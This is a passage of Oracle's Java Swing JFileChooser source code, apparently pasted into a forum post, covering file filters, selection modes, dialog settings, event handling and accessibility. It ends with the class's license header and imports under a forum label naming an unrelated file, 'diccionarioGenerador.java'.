     * Use <code>CUSTOM_DIALOG</code> when you want to use the file
     * chooser in a context other than "Open" or "Save".
     * For instance, you might want to bring up a file chooser that allows
     * the user to choose a file to execute. Note that you normally would not
     * need to set the <code>JFileChooser</code> to use
     * <code>CUSTOM_DIALOG</code>
     * since a call to <code>setApproveButtonText</code> does this for you.
     * The default dialog type is <code>JFileChooser.OPEN_DIALOG</code>.
     *
     * @param dialogType the type of dialog to be displayed:
     * <ul>
     * <li>JFileChooser.OPEN_DIALOG
     * <li>JFileChooser.SAVE_DIALOG
     * <li>JFileChooser.CUSTOM_DIALOG
     * </ul>
     *
     * @exception IllegalArgumentException if <code>dialogType</code> is
     *                          not legal
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: The type (open, save, custom) of the JFileChooser.
     *        enum:
     *              OPEN_DIALOG JFileChooser.OPEN_DIALOG
     *              SAVE_DIALOG JFileChooser.SAVE_DIALOG
     *              CUSTOM_DIALOG JFileChooser.CUSTOM_DIALOG
     *
     * @see #getDialogType
     * @see #setApproveButtonText
     */
    // PENDING(jeff) - fire button text change property
    public void setDialogType(int dialogType) {
        if(this.dialogType == dialogType) {
            return;
        }
        if(!(dialogType == OPEN_DIALOG || dialogType == SAVE_DIALOG || dialogType == CUSTOM_DIALOG)) {
            throw new IllegalArgumentException("Incorrect Dialog Type: " + dialogType);
        }
        int oldValue = this.dialogType;
        this.dialogType = dialogType;
        if(dialogType == OPEN_DIALOG || dialogType == SAVE_DIALOG) {
            setApproveButtonText(null);
        }
        firePropertyChange(DIALOG_TYPE_CHANGED_PROPERTY, oldValue, dialogType);
    }

    /**
     * Sets the string that goes in the <code>JFileChooser</code> window's
     * title bar.
     *
     * @param dialogTitle the new <code>String</code> for the title bar
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: The title of the JFileChooser dialog window.
     *
     * @see #getDialogTitle
     *
     */
    public void setDialogTitle(String dialogTitle) {
        String oldValue = this.dialogTitle;
        this.dialogTitle = dialogTitle;
        if(dialog != null) {
            dialog.setTitle(dialogTitle);
        }
        firePropertyChange(DIALOG_TITLE_CHANGED_PROPERTY, oldValue, dialogTitle);
    }

    /**
     * Gets the string that goes in the <code>JFileChooser</code>'s titlebar.
     *
     * @see #setDialogTitle
     */
    public String getDialogTitle() {
        return dialogTitle;
    }

    // ************************************
    // ***** JFileChooser View Options *****
    // ************************************



    /**
     * Sets the tooltip text used in the <code>ApproveButton</code>.
     * If <code>null</code>, the UI object will determine the button's text.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: The tooltip text for the ApproveButton.
     *
     * @param toolTipText the tooltip text for the approve button
     * @see #setApproveButtonText
     * @see #setDialogType
     * @see #showDialog
     */
    public void setApproveButtonToolTipText(String toolTipText) {
        if(approveButtonToolTipText == toolTipText) {
            return;
        }
        String oldValue = approveButtonToolTipText;
        approveButtonToolTipText = toolTipText;
        firePropertyChange(APPROVE_BUTTON_TOOL_TIP_TEXT_CHANGED_PROPERTY, oldValue, approveButtonToolTipText);
    }


    /**
     * Returns the tooltip text used in the <code>ApproveButton</code>.
     * If <code>null</code>, the UI object will determine the button's text.
     *
     * @return the tooltip text used for the approve button
     *
     * @see #setApproveButtonText
     * @see #setDialogType
     * @see #showDialog
     */
    public String getApproveButtonToolTipText() {
        return approveButtonToolTipText;
    }

    /**
     * Returns the approve button's mnemonic.
     * @return an integer value for the mnemonic key
     *
     * @see #setApproveButtonMnemonic
     */
    public int getApproveButtonMnemonic() {
        return approveButtonMnemonic;
    }

    /**
     * Sets the approve button's mnemonic using a numeric keycode.
     *
     * @param mnemonic  an integer value for the mnemonic key
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: The mnemonic key accelerator for the ApproveButton.
     *
     * @see #getApproveButtonMnemonic
     */
    public void setApproveButtonMnemonic(int mnemonic) {
        if(approveButtonMnemonic == mnemonic) {
           return;
        }
        int oldValue = approveButtonMnemonic;
        approveButtonMnemonic = mnemonic;
        firePropertyChange(APPROVE_BUTTON_MNEMONIC_CHANGED_PROPERTY, oldValue, approveButtonMnemonic);
    }

    /**
     * Sets the approve button's mnemonic using a character.
     * @param mnemonic  a character value for the mnemonic key
     *
     * @see #getApproveButtonMnemonic
     */
    public void setApproveButtonMnemonic(char mnemonic) {
        int vk = (int) mnemonic;
        if(vk >= 'a' && vk <='z') {
            vk -= ('a' - 'A');
        }
        setApproveButtonMnemonic(vk);
    }


    /**
     * Sets the text used in the <code>ApproveButton</code> in the
     * <code>FileChooserUI</code>.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: The text that goes in the ApproveButton.
     *
     * @param approveButtonText the text used in the <code>ApproveButton</code>
     *
     * @see #getApproveButtonText
     * @see #setDialogType
     * @see #showDialog
     */
    // PENDING(jeff) - have ui set this on dialog type change
    public void setApproveButtonText(String approveButtonText) {
        if(this.approveButtonText == approveButtonText) {
            return;
        }
        String oldValue = this.approveButtonText;
        this.approveButtonText = approveButtonText;
        firePropertyChange(APPROVE_BUTTON_TEXT_CHANGED_PROPERTY, oldValue, approveButtonText);
    }

    /**
     * Returns the text used in the <code>ApproveButton</code> in the
     * <code>FileChooserUI</code>.
     * If <code>null</code>, the UI object will determine the button's text.
     *
     * Typically, this would be "Open" or "Save".
     *
     * @return the text used in the <code>ApproveButton</code>
     *
     * @see #setApproveButtonText
     * @see #setDialogType
     * @see #showDialog
     */
    public String getApproveButtonText() {
        return approveButtonText;
    }

    /**
     * Gets the list of user choosable file filters.
     *
     * @return a <code>FileFilter</code> array containing all the choosable
     *         file filters
     *
     * @see #addChoosableFileFilter
     * @see #removeChoosableFileFilter
     * @see #resetChoosableFileFilters
     */
    public FileFilter[] getChoosableFileFilters() {
        FileFilter[] filterArray = new FileFilter[filters.size()];
        filters.copyInto(filterArray);
        return filterArray;
    }

    /**
     * Adds a filter to the list of user choosable file filters.
     * For information on setting the file selection mode, see
     * {@link #setFileSelectionMode setFileSelectionMode}.
     *
     * @param filter the <code>FileFilter</code> to add to the choosable file
     *               filter list
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: Adds a filter to the list of user choosable file filters.
     *
     * @see #getChoosableFileFilters
     * @see #removeChoosableFileFilter
     * @see #resetChoosableFileFilters
     * @see #setFileSelectionMode
     */
    public void addChoosableFileFilter(FileFilter filter) {
        if(filter != null && !filters.contains(filter)) {
            FileFilter[] oldValue = getChoosableFileFilters();
            filters.addElement(filter);
            firePropertyChange(CHOOSABLE_FILE_FILTER_CHANGED_PROPERTY, oldValue, getChoosableFileFilters());
            if (fileFilter == null && filters.size() == 1) {
                setFileFilter(filter);
            }
        }
    }

    /**
     * Removes a filter from the list of user choosable file filters. Returns
     * true if the file filter was removed.
     *
     * @see #addChoosableFileFilter
     * @see #getChoosableFileFilters
     * @see #resetChoosableFileFilters
     */
    public boolean removeChoosableFileFilter(FileFilter f) {
        int index = filters.indexOf(f);
        if (index >= 0) {
            if(getFileFilter() == f) {
                FileFilter aaff = getAcceptAllFileFilter();
                if (isAcceptAllFileFilterUsed() && (aaff != f)) {
                    // choose default filter if it is used
                    setFileFilter(aaff);
                }
                else if (index > 0) {
                    // choose the first filter, because it is not removed
                    setFileFilter(filters.get(0));
                }
                else if (filters.size() > 1) {
                    // choose the second filter, because the first one is removed
                    setFileFilter(filters.get(1));
                }
                else {
                    // no more filters
                    setFileFilter(null);
                }
            }
            FileFilter[] oldValue = getChoosableFileFilters();
            filters.removeElement(f);
            firePropertyChange(CHOOSABLE_FILE_FILTER_CHANGED_PROPERTY, oldValue, getChoosableFileFilters());
            return true;
        } else {
            return false;
        }
    }

    /**
     * Resets the choosable file filter list to its starting state. Normally,
     * this removes all added file filters while leaving the
     * <code>AcceptAll</code> file filter.
     *
     * @see #addChoosableFileFilter
     * @see #getChoosableFileFilters
     * @see #removeChoosableFileFilter
     */
    public void resetChoosableFileFilters() {
        FileFilter[] oldValue = getChoosableFileFilters();
        setFileFilter(null);
        filters.removeAllElements();
        if(isAcceptAllFileFilterUsed()) {
           addChoosableFileFilter(getAcceptAllFileFilter());
        }
        firePropertyChange(CHOOSABLE_FILE_FILTER_CHANGED_PROPERTY, oldValue, getChoosableFileFilters());
    }

    /**
     * Returns the <code>AcceptAll</code> file filter.
     * For example, on Microsoft Windows this would be All Files (*.*).
     */
    public FileFilter getAcceptAllFileFilter() {
        FileFilter filter = null;
        if(getUI() != null) {
            filter = getUI().getAcceptAllFileFilter(this);
        }
        return filter;
    }

   /**
    * Returns whether the <code>AcceptAll FileFilter</code> is used.
    * @return true if the <code>AcceptAll FileFilter</code> is used
    * @see #setAcceptAllFileFilterUsed
    * @since 1.3
    */
    public boolean isAcceptAllFileFilterUsed() {
        return useAcceptAllFileFilter;
    }

   /**
    * Determines whether the <code>AcceptAll FileFilter</code> is used
    * as an available choice in the choosable filter list.
    * If false, the <code>AcceptAll</code> file filter is removed from
    * the list of available file filters.
    * If true, the <code>AcceptAll</code> file filter will become the
    * the actively used file filter.
    *
    * @beaninfo
    *   preferred: true
    *       bound: true
    * description: Sets whether the AcceptAll FileFilter is used as an available choice in the choosable filter list.
    *
    * @see #isAcceptAllFileFilterUsed
    * @see #getAcceptAllFileFilter
    * @see #setFileFilter
    * @since 1.3
    */
    public void setAcceptAllFileFilterUsed(boolean b) {
        boolean oldValue = useAcceptAllFileFilter;
        useAcceptAllFileFilter = b;
        if(!b) {
            removeChoosableFileFilter(getAcceptAllFileFilter());
        } else {
            removeChoosableFileFilter(getAcceptAllFileFilter());
            addChoosableFileFilter(getAcceptAllFileFilter());
        }
        firePropertyChange(ACCEPT_ALL_FILE_FILTER_USED_CHANGED_PROPERTY, oldValue, useAcceptAllFileFilter);
    }

    /**
     * Returns the accessory component.
     *
     * @return this JFileChooser's accessory component, or null
     * @see #setAccessory
     */
    public JComponent getAccessory() {
        return accessory;
    }

    /**
     * Sets the accessory component. An accessory is often used to show a
     * preview image of the selected file; however, it can be used for anything
     * that the programmer wishes, such as extra custom file chooser controls.
     *
     * <p>
     * Note: if there was a previous accessory, you should unregister
     * any listeners that the accessory might have registered with the
     * file chooser.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: Sets the accessory component on the JFileChooser.
     */
    public void setAccessory(JComponent newAccessory) {
        JComponent oldValue = accessory;
        accessory = newAccessory;
        firePropertyChange(ACCESSORY_CHANGED_PROPERTY, oldValue, accessory);
    }

    /**
     * Sets the <code>JFileChooser</code> to allow the user to just
     * select files, just select
     * directories, or select both files and directories.  The default is
     * <code>JFilesChooser.FILES_ONLY</code>.
     *
     * @param mode the type of files to be displayed:
     * <ul>
     * <li>JFileChooser.FILES_ONLY
     * <li>JFileChooser.DIRECTORIES_ONLY
     * <li>JFileChooser.FILES_AND_DIRECTORIES
     * </ul>
     *
     * @exception IllegalArgumentException  if <code>mode</code> is an
     *                          illegal file selection mode
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: Sets the types of files that the JFileChooser can choose.
     *        enum: FILES_ONLY JFileChooser.FILES_ONLY
     *              DIRECTORIES_ONLY JFileChooser.DIRECTORIES_ONLY
     *              FILES_AND_DIRECTORIES JFileChooser.FILES_AND_DIRECTORIES
     *
     *
     * @see #getFileSelectionMode
     */
    public void setFileSelectionMode(int mode) {
        if(fileSelectionMode == mode) {
            return;
        }

        if ((mode == FILES_ONLY) || (mode == DIRECTORIES_ONLY) || (mode == FILES_AND_DIRECTORIES)) {
           int oldValue = fileSelectionMode;
           fileSelectionMode = mode;
           firePropertyChange(FILE_SELECTION_MODE_CHANGED_PROPERTY, oldValue, fileSelectionMode);
        } else {
           throw new IllegalArgumentException("Incorrect Mode for file selection: " + mode);
        }
    }

    /**
     * Returns the current file-selection mode.  The default is
     * <code>JFilesChooser.FILES_ONLY</code>.
     *
     * @return the type of files to be displayed, one of the following:
     * <ul>
     * <li>JFileChooser.FILES_ONLY
     * <li>JFileChooser.DIRECTORIES_ONLY
     * <li>JFileChooser.FILES_AND_DIRECTORIES
     * </ul>
     * @see #setFileSelectionMode
     */
    public int getFileSelectionMode() {
        return fileSelectionMode;
    }

    /**
     * Convenience call that determines if files are selectable based on the
     * current file selection mode.
     *
     * @see #setFileSelectionMode
     * @see #getFileSelectionMode
     */
    public boolean isFileSelectionEnabled() {
        return ((fileSelectionMode == FILES_ONLY) || (fileSelectionMode == FILES_AND_DIRECTORIES));
    }

    /**
     * Convenience call that determines if directories are selectable based
     * on the current file selection mode.
     *
     * @see #setFileSelectionMode
     * @see #getFileSelectionMode
     */
    public boolean isDirectorySelectionEnabled() {
        return ((fileSelectionMode == DIRECTORIES_ONLY) || (fileSelectionMode == FILES_AND_DIRECTORIES));
    }

    /**
     * Sets the file chooser to allow multiple file selections.
     *
     * @param b true if multiple files may be selected
     * @beaninfo
     *       bound: true
     * description: Sets multiple file selection mode.
     *
     * @see #isMultiSelectionEnabled
     */
    public void setMultiSelectionEnabled(boolean b) {
        if(multiSelectionEnabled == b) {
            return;
        }
        boolean oldValue = multiSelectionEnabled;
        multiSelectionEnabled = b;
        firePropertyChange(MULTI_SELECTION_ENABLED_CHANGED_PROPERTY, oldValue, multiSelectionEnabled);
    }

    /**
     * Returns true if multiple files can be selected.
     * @return true if multiple files can be selected
     * @see #setMultiSelectionEnabled
     */
    public boolean isMultiSelectionEnabled() {
        return multiSelectionEnabled;
    }


    /**
     * Returns true if hidden files are not shown in the file chooser;
     * otherwise, returns false.
     *
     * @return the status of the file hiding property
     * @see #setFileHidingEnabled
     */
    public boolean isFileHidingEnabled() {
        return useFileHiding;
    }

    /**
     * Sets file hiding on or off. If true, hidden files are not shown
     * in the file chooser. The job of determining which files are
     * shown is done by the <code>FileView</code>.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: Sets file hiding on or off.
     *
     * @param b the boolean value that determines whether file hiding is
     *          turned on
     * @see #isFileHidingEnabled
     */
    public void setFileHidingEnabled(boolean b) {
        // Dump showFilesListener since we'll ignore it from now on
        if (showFilesListener != null) {
            Toolkit.getDefaultToolkit().removePropertyChangeListener(SHOW_HIDDEN_PROP, showFilesListener);
            showFilesListener = null;
        }
        boolean oldValue = useFileHiding;
        useFileHiding = b;
        firePropertyChange(FILE_HIDING_CHANGED_PROPERTY, oldValue, useFileHiding);
    }

    /**
     * Sets the current file filter. The file filter is used by the
     * file chooser to filter out files from the user's view.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: Sets the File Filter used to filter out files of type.
     *
     * @param filter the new current file filter to use
     * @see #getFileFilter
     */
    public void setFileFilter(FileFilter filter) {
        FileFilter oldValue = fileFilter;
        fileFilter = filter;
        if (filter != null) {
            if (isMultiSelectionEnabled() && selectedFiles != null && selectedFiles.length > 0) {
                Vector<File> fList = new Vector<File>();
                boolean failed = false;
                for (File file : selectedFiles) {
                    if (filter.accept(file)) {
                        fList.add(file);
                    } else {
                        failed = true;
                    }
                }
                if (failed) {
                    setSelectedFiles((fList.size() == 0) ? null : fList.toArray(new File[fList.size()]));
                }
            } else if (selectedFile != null && !filter.accept(selectedFile)) {
                setSelectedFile(null);
            }
        }
        firePropertyChange(FILE_FILTER_CHANGED_PROPERTY, oldValue, fileFilter);
    }


    /**
     * Returns the currently selected file filter.
     *
     * @return the current file filter
     * @see #setFileFilter
     * @see #addChoosableFileFilter
     */
    public FileFilter getFileFilter() {
        return fileFilter;
    }

    /**
     * Sets the file view to used to retrieve UI information, such as
     * the icon that represents a file or the type description of a file.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: Sets the File View used to get file type information.
     *
     * @see #getFileView
     */
    public void setFileView(FileView fileView) {
        FileView oldValue = this.fileView;
        this.fileView = fileView;
        firePropertyChange(FILE_VIEW_CHANGED_PROPERTY, oldValue, fileView);
    }

    /**
     * Returns the current file view.
     *
     * @see #setFileView
     */
    public FileView getFileView() {
        return fileView;
    }

    // ******************************
    // *****FileView delegation *****
    // ******************************

    // NOTE: all of the following methods attempt to delegate
    // first to the client set fileView, and if <code>null</code> is returned
    // (or there is now client defined fileView) then calls the
    // UI's default fileView.

    /**
     * Returns the filename.
     * @param f the <code>File</code>
     * @return the <code>String</code> containing the filename for
     *          <code>f</code>
     * @see FileView#getName
     */
    public String getName(File f) {
        String filename = null;
        if(f != null) {
            if(getFileView() != null) {
                filename = getFileView().getName(f);
            }

            FileView uiFileView = getUI().getFileView(this);

            if(filename == null && uiFileView != null) {
                filename = uiFileView.getName(f);
            }
        }
        return filename;
    }

    /**
     * Returns the file description.
     * @param f the <code>File</code>
     * @return the <code>String</code> containing the file description for
     *          <code>f</code>
     * @see FileView#getDescription
     */
    public String getDescription(File f) {
        String description = null;
        if(f != null) {
            if(getFileView() != null) {
                description = getFileView().getDescription(f);
            }

            FileView uiFileView = getUI().getFileView(this);

            if(description == null && uiFileView != null) {
                description = uiFileView.getDescription(f);
            }
        }
        return description;
    }

    /**
     * Returns the file type.
     * @param f the <code>File</code>
     * @return the <code>String</code> containing the file type description for
     *          <code>f</code>
     * @see FileView#getTypeDescription
     */
    public String getTypeDescription(File f) {
        String typeDescription = null;
        if(f != null) {
            if(getFileView() != null) {
                typeDescription = getFileView().getTypeDescription(f);
            }

            FileView uiFileView = getUI().getFileView(this);

            if(typeDescription == null && uiFileView != null) {
                typeDescription = uiFileView.getTypeDescription(f);
            }
        }
        return typeDescription;
    }

    /**
     * Returns the icon for this file or type of file, depending
     * on the system.
     * @param f the <code>File</code>
     * @return the <code>Icon</code> for this file, or type of file
     * @see FileView#getIcon
     */
    public Icon getIcon(File f) {
        Icon icon = null;
        if (f != null) {
            if(getFileView() != null) {
                icon = getFileView().getIcon(f);
            }

            FileView uiFileView = getUI().getFileView(this);

            if(icon == null && uiFileView != null) {
                icon = uiFileView.getIcon(f);
            }
        }
        return icon;
    }

    /**
     * Returns true if the file (directory) can be visited.
     * Returns false if the directory cannot be traversed.
     * @param f the <code>File</code>
     * @return true if the file/directory can be traversed, otherwise false
     * @see FileView#isTraversable
     */
    public boolean isTraversable(File f) {
        Boolean traversable = null;
        if (f != null) {
            if (getFileView() != null) {
                traversable = getFileView().isTraversable(f);
            }

            FileView uiFileView = getUI().getFileView(this);

            if (traversable == null && uiFileView != null) {
                traversable = uiFileView.isTraversable(f);
            }
            if (traversable == null) {
                traversable = getFileSystemView().isTraversable(f);
            }
        }
        return (traversable != null && traversable.booleanValue());
    }

    /**
     * Returns true if the file should be displayed.
     * @param f the <code>File</code>
     * @return true if the file should be displayed, otherwise false
     * @see FileFilter#accept
     */
    public boolean accept(File f) {
        boolean shown = true;
        if(f != null && fileFilter != null) {
            shown = fileFilter.accept(f);
        }
        return shown;
    }

    /**
     * Sets the file system view that the <code>JFileChooser</code> uses for
     * accessing and creating file system resources, such as finding
     * the floppy drive and getting a list of root drives.
     * @param fsv  the new <code>FileSystemView</code>
     *
     * @beaninfo
     *      expert: true
     *       bound: true
     * description: Sets the FileSytemView used to get filesystem information.
     *
     * @see FileSystemView
     */
    public void setFileSystemView(FileSystemView fsv) {
        FileSystemView oldValue = fileSystemView;
        fileSystemView = fsv;
        firePropertyChange(FILE_SYSTEM_VIEW_CHANGED_PROPERTY, oldValue, fileSystemView);
    }

    /**
     * Returns the file system view.
     * @return the <code>FileSystemView</code> object
     * @see #setFileSystemView
     */
    public FileSystemView getFileSystemView() {
        return fileSystemView;
    }

    // **************************
    // ***** Event Handling *****
    // **************************

    /**
     * Called by the UI when the user hits the Approve button
     * (labeled "Open" or "Save", by default). This can also be
     * called by the programmer.
     * This method causes an action event to fire
     * with the command string equal to
     * <code>APPROVE_SELECTION</code>.
     *
     * @see #APPROVE_SELECTION
     */
    public void approveSelection() {
        returnValue = APPROVE_OPTION;
        if(dialog != null) {
            dialog.setVisible(false);
        }
        fireActionPerformed(APPROVE_SELECTION);
    }

    /**
     * Called by the UI when the user chooses the Cancel button.
     * This can also be called by the programmer.
     * This method causes an action event to fire
     * with the command string equal to
     * <code>CANCEL_SELECTION</code>.
     *
     * @see #CANCEL_SELECTION
     */
    public void cancelSelection() {
        returnValue = CANCEL_OPTION;
        if(dialog != null) {
            dialog.setVisible(false);
        }
        fireActionPerformed(CANCEL_SELECTION);
    }

    /**
     * Adds an <code>ActionListener</code> to the file chooser.
     *
     * @param l  the listener to be added
     *
     * @see #approveSelection
     * @see #cancelSelection
     */
    public void addActionListener(ActionListener l) {
        listenerList.add(ActionListener.class, l);
    }

    /**
     * Removes an <code>ActionListener</code> from the file chooser.
     *
     * @param l  the listener to be removed
     *
     * @see #addActionListener
     */
    public void removeActionListener(ActionListener l) {
        listenerList.remove(ActionListener.class, l);
    }

    /**
     * Returns an array of all the action listeners
     * registered on this file chooser.
     *
     * @return all of this file chooser's <code>ActionListener</code>s
     *         or an empty
     *         array if no action listeners are currently registered
     *
     * @see #addActionListener
     * @see #removeActionListener
     *
     * @since 1.4
     */
    public ActionListener[] getActionListeners() {
        return listenerList.getListeners(ActionListener.class);
    }

    /**
     * Notifies all listeners that have registered interest for
     * notification on this event type. The event instance
     * is lazily created using the <code>command</code> parameter.
     *
     * @see EventListenerList
     */
    protected void fireActionPerformed(String command) {
        // Guaranteed to return a non-null array
        Object[] listeners = listenerList.getListenerList();
        long mostRecentEventTime = EventQueue.getMostRecentEventTime();
        int modifiers = 0;
        AWTEvent currentEvent = EventQueue.getCurrentEvent();
        if (currentEvent instanceof InputEvent) {
            modifiers = ((InputEvent)currentEvent).getModifiers();
        } else if (currentEvent instanceof ActionEvent) {
            modifiers = ((ActionEvent)currentEvent).getModifiers();
        }
        ActionEvent e = null;
        // Process the listeners last to first, notifying
        // those that are interested in this event
        for (int i = listeners.length-2; i>=0; i-=2) {
            if (listeners[i]==ActionListener.class) {
                // Lazily create the event:
                if (e == null) {
                    e = new ActionEvent(this, ActionEvent.ACTION_PERFORMED,
                                        command, mostRecentEventTime,
                                        modifiers);
                }
                ((ActionListener)listeners[i+1]).actionPerformed(e);
            }
        }
    }

    private static class WeakPCL implements PropertyChangeListener {
        WeakReference<JFileChooser> jfcRef;

        public WeakPCL(JFileChooser jfc) {
            jfcRef = new WeakReference<JFileChooser>(jfc);
        }
        public void propertyChange(PropertyChangeEvent ev) {
            assert ev.getPropertyName().equals(SHOW_HIDDEN_PROP);
            JFileChooser jfc = jfcRef.get();
            if (jfc == null) {
                // Our JFileChooser is no longer around, so we no longer need to
                // listen for PropertyChangeEvents.
                Toolkit.getDefaultToolkit().removePropertyChangeListener(SHOW_HIDDEN_PROP, this);
            }
            else {
                boolean oldValue = jfc.useFileHiding;
                jfc.useFileHiding = !((Boolean)ev.getNewValue()).booleanValue();
                jfc.firePropertyChange(FILE_HIDING_CHANGED_PROPERTY, oldValue, jfc.useFileHiding);
            }
        }
    }

    // *********************************
    // ***** Pluggable L&F methods *****
    // *********************************

    /**
     * Resets the UI property to a value from the current look and feel.
     *
     * @see JComponent#updateUI
     */
    public void updateUI() {
        if (isAcceptAllFileFilterUsed()) {
            removeChoosableFileFilter(getAcceptAllFileFilter());
        }
        FileChooserUI ui = ((FileChooserUI)UIManager.getUI(this));
        if (fileSystemView == null) {
            // We were probably deserialized
            setFileSystemView(FileSystemView.getFileSystemView());
        }
        setUI(ui);

        if(isAcceptAllFileFilterUsed()) {
            addChoosableFileFilter(getAcceptAllFileFilter());
        }
    }

    /**
     * Returns a string that specifies the name of the L&amp;F class
     * that renders this component.
     *
     * @return the string "FileChooserUI"
     * @see JComponent#getUIClassID
     * @see UIDefaults#getUI
     * @beaninfo
     *        expert: true
     *   description: A string that specifies the name of the L&amp;F class.
     */
    public String getUIClassID() {
        return uiClassID;
    }

    /**
     * Gets the UI object which implements the L&amp;F for this component.
     *
     * @return the FileChooserUI object that implements the FileChooserUI L&amp;F
     */
    public FileChooserUI getUI() {
        return (FileChooserUI) ui;
    }

    /**
     * See <code>readObject</code> and <code>writeObject</code> in
     * <code>JComponent</code> for more
     * information about serialization in Swing.
     */
    private void readObject(java.io.ObjectInputStream in)
            throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        installShowFilesListener();
    }

    /**
     * See <code>readObject</code> and <code>writeObject</code> in
     * <code>JComponent</code> for more
     * information about serialization in Swing.
     */
    private void writeObject(ObjectOutputStream s) throws IOException {
        FileSystemView fsv = null;

        if (isAcceptAllFileFilterUsed()) {
            //The AcceptAllFileFilter is UI specific, it will be reset by
            //updateUI() after deserialization
            removeChoosableFileFilter(getAcceptAllFileFilter());
        }
        if (fileSystemView.equals(FileSystemView.getFileSystemView())) {
            //The default FileSystemView is platform specific, it will be
            //reset by updateUI() after deserialization
            fsv = fileSystemView;
            fileSystemView = null;
        }
        s.defaultWriteObject();
        if (fsv != null) {
            fileSystemView = fsv;
        }
        if (isAcceptAllFileFilterUsed()) {
            addChoosableFileFilter(getAcceptAllFileFilter());
        }
        if (getUIClassID().equals(uiClassID)) {
            byte count = JComponent.getWriteObjCounter(this);
            JComponent.setWriteObjCounter(this, --count);
            if (count == 0 && ui != null) {
                ui.installUI(this);
            }
        }
    }


    /**
     * Returns a string representation of this <code>JFileChooser</code>.
     * This method
     * is intended to be used only for debugging purposes, and the
     * content and format of the returned string may vary between
     * implementations. The returned string may be empty but may not
     * be <code>null</code>.
     *
     * @return  a string representation of this <code>JFileChooser</code>
     */
    protected String paramString() {
        String approveButtonTextString = (approveButtonText != null ?
                                          approveButtonText: "");
        String dialogTitleString = (dialogTitle != null ?
                                    dialogTitle: "");
        String dialogTypeString;
        if (dialogType == OPEN_DIALOG) {
            dialogTypeString = "OPEN_DIALOG";
        } else if (dialogType == SAVE_DIALOG) {
            dialogTypeString = "SAVE_DIALOG";
        } else if (dialogType == CUSTOM_DIALOG) {
            dialogTypeString = "CUSTOM_DIALOG";
        } else dialogTypeString = "";
        String returnValueString;
        if (returnValue == CANCEL_OPTION) {
            returnValueString = "CANCEL_OPTION";
        } else if (returnValue == APPROVE_OPTION) {
            returnValueString = "APPROVE_OPTION";
        } else if (returnValue == ERROR_OPTION) {
            returnValueString = "ERROR_OPTION";
        } else returnValueString = "";
        String useFileHidingString = (useFileHiding ?
                                    "true" : "false");
        String fileSelectionModeString;
        if (fileSelectionMode == FILES_ONLY) {
            fileSelectionModeString = "FILES_ONLY";
        } else if (fileSelectionMode == DIRECTORIES_ONLY) {
            fileSelectionModeString = "DIRECTORIES_ONLY";
        } else if (fileSelectionMode == FILES_AND_DIRECTORIES) {
            fileSelectionModeString = "FILES_AND_DIRECTORIES";
        } else fileSelectionModeString = "";
        String currentDirectoryString = (currentDirectory != null ?
                                         currentDirectory.toString() : "");
        String selectedFileString = (selectedFile != null ?
                                     selectedFile.toString() : "");

        return super.paramString() +
        ",approveButtonText=" + approveButtonTextString +
        ",currentDirectory=" + currentDirectoryString +
        ",dialogTitle=" + dialogTitleString +
        ",dialogType=" + dialogTypeString +
        ",fileSelectionMode=" + fileSelectionModeString +
        ",returnValue=" + returnValueString +
        ",selectedFile=" + selectedFileString +
        ",useFileHiding=" + useFileHidingString;
    }

/////////////////
// Accessibility support
////////////////

    protected AccessibleContext accessibleContext = null;

    /**
     * Gets the AccessibleContext associated with this JFileChooser.
     * For file choosers, the AccessibleContext takes the form of an
     * AccessibleJFileChooser.
     * A new AccessibleJFileChooser instance is created if necessary.
     *
     * @return an AccessibleJFileChooser that serves as the
     *         AccessibleContext of this JFileChooser
     */
    public AccessibleContext getAccessibleContext() {
        if (accessibleContext == null) {
            accessibleContext = new AccessibleJFileChooser();
        }
        return accessibleContext;
    }

    /**
     * This class implements accessibility support for the
     * <code>JFileChooser</code> class.  It provides an implementation of the
     * Java Accessibility API appropriate to file chooser user-interface
     * elements.
     */
    protected class AccessibleJFileChooser extends AccessibleJComponent {

        /**
         * Gets the role of this object.
         *
         * @return an instance of AccessibleRole describing the role of the
         * object
         * @see AccessibleRole
         */
        public AccessibleRole getAccessibleRole() {
            return AccessibleRole.FILE_CHOOSER;
        }

    } // inner class AccessibleJFileChooser

}


diccionarioGenerador.java

Código: (java) You are not allowed to view links. Register or Login
/*
 * Copyright (c) 1997, 2013, Oracle and/or its affiliates. All rights reserved.
 * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 */

package javax.swing;

import javax.swing.event.*;
import javax.swing.filechooser.*;
import javax.swing.plaf.FileChooserUI;

import javax.accessibility.*;

import java.io.File;
import java.io.ObjectOutputStream;
import java.io.IOException;

import java.util.Vector;
import java.awt.AWTEvent;
import java.awt.Component;
import java.awt.Container;
import java.awt.BorderLayout;
import java.awt.Window;
import java.awt.Dialog;
import java.awt.Frame;
import java.awt.GraphicsEnvironment;
import java.awt.HeadlessException;
import java.awt.EventQueue;
import java.awt.Toolkit;
import java.awt.event.*;
import java.beans.PropertyChangeListener;
import java.beans.PropertyChangeEvent;
import java.lang.ref.WeakReference;

/**
 * <code>JFileChooser</code> provides a simple mechanism for the user to
 * choose a file.
 * For information about using <code>JFileChooser</code>, see
 * <a
 href="https://docs.oracle.com/javase/tutorial/uiswing/components/filechooser.html">How to Use File Choosers</a>,
 * a section in <em>The Java Tutorial</em>.
 *
 * <p>
 *
 * The following code pops up a file chooser for the user's home directory that
 * sees only .jpg and .gif images:
 * <pre>
 *    JFileChooser chooser = new JFileChooser();
 *    FileNameExtensionFilter filter = new FileNameExtensionFilter(
 *        "JPG &amp; GIF Images", "jpg", "gif");
 *    chooser.setFileFilter(filter);
 *    int returnVal = chooser.showOpenDialog(parent);
 *    if(returnVal == JFileChooser.APPROVE_OPTION) {
 *       System.out.println("You chose to open this file: " +
 *            chooser.getSelectedFile().getName());
 *    }
 * </pre>
 * <p>
 * <strong>Warning:</strong> Swing is not thread safe. For more
 * information see <a
